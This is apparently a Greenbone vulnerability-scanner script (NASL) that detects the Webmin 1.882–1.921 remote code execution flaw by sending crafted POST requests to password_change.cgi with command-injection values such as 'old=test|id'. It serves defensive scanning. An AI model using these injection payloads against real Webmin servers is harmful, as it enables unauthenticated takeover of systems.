Webmin 1.882 <= 1.921 Remote Code Execution (RCE) Vulnerability

# Copyright (C) 2019 Greenbone Networks GmbH
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:webmin:webmin";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.142742");
  script_version("2023-03-02T10:19:53+0000");
  script_tag(name:"last_modification", value:"2023-03-02 10:19:53 +0000 (Thu, 02 Mar 2023)");
  script_tag(name:"creation_date", value:"2019-08-19 06:13:45 +0000 (Mon, 19 Aug 2019)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2023-02-28 15:23:00 +0000 (Tue, 28 Feb 2023)");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_cve_id("CVE-2019-15107", "CVE-2019-15231");

  script_name("Webmin 1.882 <= 1.921 Remote Code Execution (RCE) Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2019 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("webmin.nasl");
  script_mandatory_keys("usermin_or_webmin/installed");

  script_tag(name:"summary", value:"Webmin is prone to a remote code execution (RCE) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");

  script_tag(name:"insight", value:"The parameter old in password_change.cgi contains a command injection
  vulnerability. The password change module has to be enabled to be exploitable.");

  script_tag(name:"impact", value:"Successful exploitation would allow an unauthenticated attacker to gain
  control over the target system.");

  script_tag(name:"affected", value:"Webmin versions 1.882 to 1.921.");

  script_tag(name:"solution", value:"Update to version 1.930 or later.");

  script_xref(name:"URL", value:"https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html");
  script_xref(name:"URL", value:"http://webmin.com/security.html");
  script_xref(name:"URL", value:"http://webmin.com/exploit.html");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
  exit(0);

vt_strings = get_vt_strings();
user = vt_strings["lowercase"];

url = "/password_change.cgi";

headers = make_array("Referer", http_report_vuln_url(port: port, url: "/session_login.cgi", url_only: TRUE),
                     "Content-Type", "application/x-www-form-urlencoded",
                     "Cookie", "redirect=1; testing=1; sid=x; sessiontest=1");

data = "user=" + user + "&pam=&expired=2&old=test|id&new1=test2&new2=test2";

req = http_post_put_req(port: port, url: url, add_headers: headers, data: data);
res = http_send_recv(port: port, data: req);

if (res =~ "^HTTP/1\.[01] 200" && res =~ "uid=[0-9]+.*gid=[0-9]+") {
  uid = eregmatch(pattern: "uid=[0-9]+.*gid=[0-9]+[^<]+", string: res);
  report = 'It was possible to execute the "id" command.\n\nResult:\n\n' + uid[0];
  security_message(port: port, data: report);
  exit(0);
}

data = "user=" + user + "&pam=&expired=2|id&old=test&new1=test2&new2=test2";

req = http_post_put_req(port: port, url: url, add_headers: headers, data: data);
res = http_send_recv(port: port, data: req);

if (res =~ "uid=[0-9]+.*gid=[0-9]+") {
  uid = eregmatch(pattern: "uid=[0-9]+.*gid=[0-9]+[^<]+", string: res);
  report = 'It was possible to execute the "id" command.\n\nResult:\n\n' + uid[0];
  security_message(port: port, data: report);
  exit(0);
}

exit(99);